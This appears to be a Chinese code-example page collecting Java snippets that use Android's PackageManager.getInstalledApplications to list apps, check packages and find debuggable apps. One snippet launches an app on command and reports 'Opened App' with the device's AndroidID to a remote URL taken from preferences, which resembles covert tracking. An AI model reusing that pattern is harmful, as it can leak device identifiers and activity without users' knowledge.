Java PackageManager.getInstalledApplications方法代码示例

import android.content.pm.PackageManager; //导入方法依赖的package包/类
public static List<ResolveInfo> getInstalledPackages(PackageManager pm, Context context) {
    DebugLog log = DebugLog.get(context);
    if (log.isEnabled()) {
        log.writeLog("Getting installed packages. Will try a few different methods to see if I receive a suitable app list.");
    }

    Intent startupIntent = new Intent(Intent.ACTION_MAIN);
    startupIntent.addCategory(Intent.CATEGORY_LAUNCHER);
    List<ResolveInfo> resolveInfos = pm.queryIntentActivities(startupIntent, 0);

    if (log.isEnabled()) {
        log.writeLog("Got " + resolveInfos.size() + " apps via queryIntentActivities.");
    }

    List<ApplicationInfo> appInfos = pm.getInstalledApplications(PackageManager.GET_META_DATA);
    if (log.isEnabled()) {
        log.writeLog("Got " + appInfos.size() + " apps via getInstalledApplications with GET_META_DATA.");
    }

    appInfos = pm.getInstalledApplications(0);
    if (log.isEnabled()) {
        log.writeLog("Got " + appInfos.size() + " apps via getInstalledApplications with no flags");
    }

    return resolveInfos;
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
   protected String doInBackground(String... params) {     
	final PackageManager packageManager = getApplicationContext().getPackageManager();
	List<ApplicationInfo> installedApplications = packageManager.getInstalledApplications(PackageManager.GET_META_DATA);	
	for (ApplicationInfo appInfo : installedApplications)
	{
		if(appInfo.packageName.equals(i))
		{
  	Intent k = new Intent();
  	PackageManager manager = getPackageManager();
  	k = manager.getLaunchIntentForPackage(i);
  	k.addCategory(Intent.CATEGORY_LAUNCHER);
  	startActivity(k);
  	
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Opened App: " + i);
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
		}
	}
 return "Executed";
   }
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
public ArrayList<Drawable> getAppLogosArray() {
    PackageManager pm = context.getPackageManager();
    listOfAppInfo = pm.getInstalledApplications(pm.GET_META_DATA);

    for(ApplicationInfo app : listOfAppInfo) {

        if(pm.getLaunchIntentForPackage(app.packageName) != null) {
            // apps with launcher intent
            if((app.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) == 1) {
                // updated system apps

            } else if ((app.flags & ApplicationInfo.FLAG_SYSTEM) == 1) {
                // system apps

            } else {
                // user installed apps
                appLogosArray.add(app.loadIcon(pm));

            }
        }

    }
    return appLogosArray;
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
/**
 * 获取所有app的安装路径
 *
 * @param context
 * @return ArrayList<HashMap<String, String>> package:包名,url:地址
 */
public static ArrayList<HashMap<String, String>> getAllInstelAppUrl(
        Context context) {

    ArrayList<HashMap<String, String>> appInfos = new ArrayList<HashMap<String, String>>();

    PackageManager pm = context.getPackageManager();

    for (ApplicationInfo app : pm.getInstalledApplications(0)) {

        HashMap<String, String> appInfo = new HashMap<String, String>();
        appInfo.put("package", app.packageName);
        appInfo.put("url", app.sourceDir);
        appInfos.add(appInfo);
       }

    return appInfos;
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
public static boolean isPackageInstalled(Context context, String packageName)
{
	PackageManager pm = context.getPackageManager();
	List<ApplicationInfo> packages = null;

	if (pm != null)
	{
		packages = pm.getInstalledApplications(0);
	}

	if (packages != null)
	{
		for (ApplicationInfo packageInfo : packages)
		{
			if (packageInfo.packageName.equals(packageName))
			{
				return true;
			}
		}
	}

	return false;
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
/**
 * Retrieves a set of the package names of all non-system applications.
 */
public static Set<String> getInstalledApps(Context context) {
    PackageManager pm = context.getPackageManager();
    List<ApplicationInfo> installedAppInfos =
            pm.getInstalledApplications(PackageManager.GET_META_DATA);

    TreeSet<String> apps = new TreeSet<>();
    for (ApplicationInfo info : installedAppInfos) {
        // ignore self
        if (context.getPackageName().equals(info.packageName)) {
            continue;
        }

        // skip system apps
        if ((info.flags & ApplicationInfo.FLAG_SYSTEM) != 0) {
            continue;
        }

        apps.add(info.packageName);
    }

    return apps;
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
protected List<AppInfo> doInBackground(Object... objects) {
  List<AppInfo> labelsPackages = new ArrayList<>();
  PackageManager packageManager = activity.getPackageManager();
  Iterable<ApplicationInfo> appInfos = packageManager.getInstalledApplications(0);
  for (PackageItemInfo appInfo : appInfos) {
    String packageName = appInfo.packageName;
    if (!isHidden(packageName)) {
      CharSequence label = appInfo.loadLabel(packageManager);
      Drawable icon = appInfo.loadIcon(packageManager);        
      if (label != null) {
        labelsPackages.add(new AppInfo(packageName, label.toString(), icon));
      }
    }
  }
  Collections.sort(labelsPackages);
  return labelsPackages;
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@SuppressLint("DefaultLocale")
public InstalledAppsListAdapter(LayoutInflater inflator, PackageManager packageManager, String filter) {
       super();
       this.inflator = inflator;
       this.packageManager = packageManager;
       if( filter == null ) {
       	this.appsInfo = packageManager.getInstalledApplications(PackageManager.GET_META_DATA);
       } else {
       	List<ApplicationInfo> tempAppsInfo = packageManager.getInstalledApplications(PackageManager.GET_META_DATA);
       	 this.appsInfo = new ArrayList<ApplicationInfo>();
       	 for( ApplicationInfo appInfo : tempAppsInfo ) {
       		 String appName = appInfo.loadLabel(packageManager).toString().toLowerCase();
       		 if(appName.contains(filter.toLowerCase()))
       			 appsInfo.add(appInfo);
       	 }
       }
   }
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
protected void onResume() {
    super.onResume();
    PackageManager packageManager = getPackageManager();
    List<ApplicationInfo> installedApplications = packageManager.getInstalledApplications(0);

    List<ApplicationInfo> debugApps = new ArrayList<>();

    for (ApplicationInfo applicationInfo : installedApplications){
        boolean isDebuggable =  ( 0 != ( applicationInfo.flags & ApplicationInfo.FLAG_DEBUGGABLE));
        if(isDebuggable){
            debugApps.add(applicationInfo);
        }
    }

    adapter.addProcesses(debugApps);
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) {
    PackageManager packageManager = context.getPackageManager();
    List<ApplicationInfo> installedApplications = packageManager.getInstalledApplications(0);
    debugApps = new ArrayList<>();
    for (ApplicationInfo applicationInfo : installedApplications) {
        boolean isDebuggable = (0 != (applicationInfo.flags & ApplicationInfo.FLAG_DEBUGGABLE));
        if (isDebuggable) {
            debugApps.add(applicationInfo);
        }
    }

    for(int widgetId : appWidgetIds){
        RemoteViews remoteViews = new RemoteViews(context.getPackageName(), R.layout.widget);

        setupRemoteViews(context, appWidgetManager, remoteViews, widgetId, 0);
    }
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
protected List<AppInfo> doInBackground(Object... objects) {
    List<AppInfo> labelsPackages = new ArrayList<>();
    PackageManager packageManager = activity.getPackageManager();
    Iterable<ApplicationInfo> appInfos = packageManager.getInstalledApplications(0);
    for (PackageItemInfo appInfo : appInfos) {
        String packageName = appInfo.packageName;
        if (!isHidden(packageName)) {
            CharSequence label = appInfo.loadLabel(packageManager);
            Drawable icon = appInfo.loadIcon(packageManager);
            if (label != null) {
                labelsPackages.add(new AppInfo(packageName, label.toString(), icon));
            }
        }
    }
    Collections.sort(labelsPackages);
    return labelsPackages;
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // Create the list view to show all the installed apps
    RecyclerView mRecyclerView = findViewById(R.id.main_view);
    mRecyclerView.setHasFixedSize(true);
    mRecyclerView.setLayoutManager(new LinearLayoutManager(this));

    // Collect all the apps' info
    ArrayList<OASPVerify> appList = new ArrayList<>();
    PackageManager pm = getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(0);
    int isSysApp = ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
    for (ApplicationInfo app : packages) {
        // Ignore system applications
        if ((app.flags & isSysApp) == 0) {
            // Skip the demo app itself
            if (app.packageName.equals(getApplicationContext().getPackageName()))
                continue;
            OASPVerify oaspInfo = new OASPVerify(pm, app);
            dump(oaspInfo);
            appList.add(oaspInfo);
        }
    }

    // Sort app list based on the package name
    Collections.sort(appList, new Comparator<OASPVerify>() {
        @Override
        public int compare(OASPVerify app1, OASPVerify app2) {
            return app1.pkg.compareTo(app2.pkg);
        }
    });

    // Show it
    RecyclerView.Adapter mAdapter = new ListAdapter(appList);
    mRecyclerView.setAdapter(mAdapter);
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
static boolean isPackageExists(Context context, String targetPackage) {
    PackageManager pm = context.getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(0);
    for (ApplicationInfo packageInfo : packages) {
        if (packageInfo.packageName.equals(targetPackage)) return true;
    }
    return false;
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
/**
 * Parse all of the locally installed APKs into a memory cache, starting
 * with the currently selected apps.  APKs that are already parsed in the
 * {@code index.jar} file will be read from that file.
 */
public static void startCaching(Context context) {
    File indexJarFile = LocalRepoManager.get(context).getIndexJar();
    PackageManager pm = context.getPackageManager();
    for (ApplicationInfo applicationInfo : pm.getInstalledApplications(0)) {
        if (applicationInfo.publicSourceDir.startsWith(FDroidApp.SYSTEM_DIR_NAME)) {
            continue;
        }
        if (!indexJarFile.exists()
                || FileUtils.isFileNewer(new File(applicationInfo.sourceDir), indexJarFile)) {
            parseApp(context, applicationInfo.packageName);
        }
    }
}
 

import android.content.pm.PackageManager; //导入方法依赖的package包/类
static boolean isPackageExists(Context context, @SuppressWarnings("SameParameterValue") String targetPackage) {
    PackageManager pm = context.getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(0);
    for (ApplicationInfo packageInfo : packages) {
        if (packageInfo.packageName.equals(targetPackage)) return true;
    }
    return false;
}